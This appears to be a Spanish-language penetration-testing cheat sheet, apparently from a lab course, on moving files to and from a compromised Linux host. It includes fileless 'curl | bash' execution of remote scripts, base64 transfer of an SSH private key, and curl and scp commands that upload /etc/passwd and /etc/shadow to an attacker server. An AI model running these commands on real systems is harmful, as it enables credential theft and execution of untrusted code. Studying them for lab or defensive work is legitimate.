Base64 Encoding / Decoding Usamos MD5 para comprobar la integridad del archivo terminal Copy
md5sum id_rsa bash Copy
$ cat id_rsa | base64 -w 0; echoDecodificamos en la otra máquina terminal Copy
$ echo -n 'cadena_codificada_base64' | base64 -d > id_rsaVerificamos la integridad del archivo en la otra máquina terminal Copy
md5sum id_rsa Wget & Curl terminal Copy
$ wget http://<ip>/LinEnum.sh -O /tmp/LinEnum.sh$ curl -o /tmp/LinEnum.sh http://<ip>/LinEnum.shAtaques Fileless terminal Copy
$ curl http://<ip>/LinEnum.sh | bash$ wget -qO- http://<ip>/helloworld.py | python3Bash (Dev/TCP) Conectamos al Servidor Web
terminal Copy
exec 3<>/dev/tcp/10.10.10.32/80 Peticion GET
terminal Copy
$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3Printeamos la respuesta
SSH Activamos el servidor SSH
terminal Copy
sudo systemctl enable ssh sudo systemctl start ssh Vemos el puerto que esta ssh escuchando
terminal Copy
netstat -lnpt Descargamos el archivo usando SCP
terminal Copy
$ scp plaintext@192.168.49.128:/root/myroot.txt .Operaciones de Subida Web (UploadServer) Creamos un certificado autofirmado
terminal Copy
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'Iniciamos el servidor con HTTPS
terminal Copy
$ mkdir https && cd https$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pemSubimos archivos desde una máquina comprometida
terminal Copy
$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecureWeb (Básico) terminal Copy
$ python3 -m http.serverpython2.7 -m SimpleHTTPServer php -S 0.0.0.0:8000 ruby -run -ehttpd . -p8000 Desde la atacante conseguimos los archivos
terminal Copy
$ wget 192.168.49.128:8000/filetotransfer.txtSCP Upload Podemos encontrar algunas empresas que permitan el protocolo SSH (TCP/22) para conexiones salientes, y si ese es el caso, podemos utilizar un servidor SSH con la utilidad scp para subir archivos
terminal Copy
$ scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/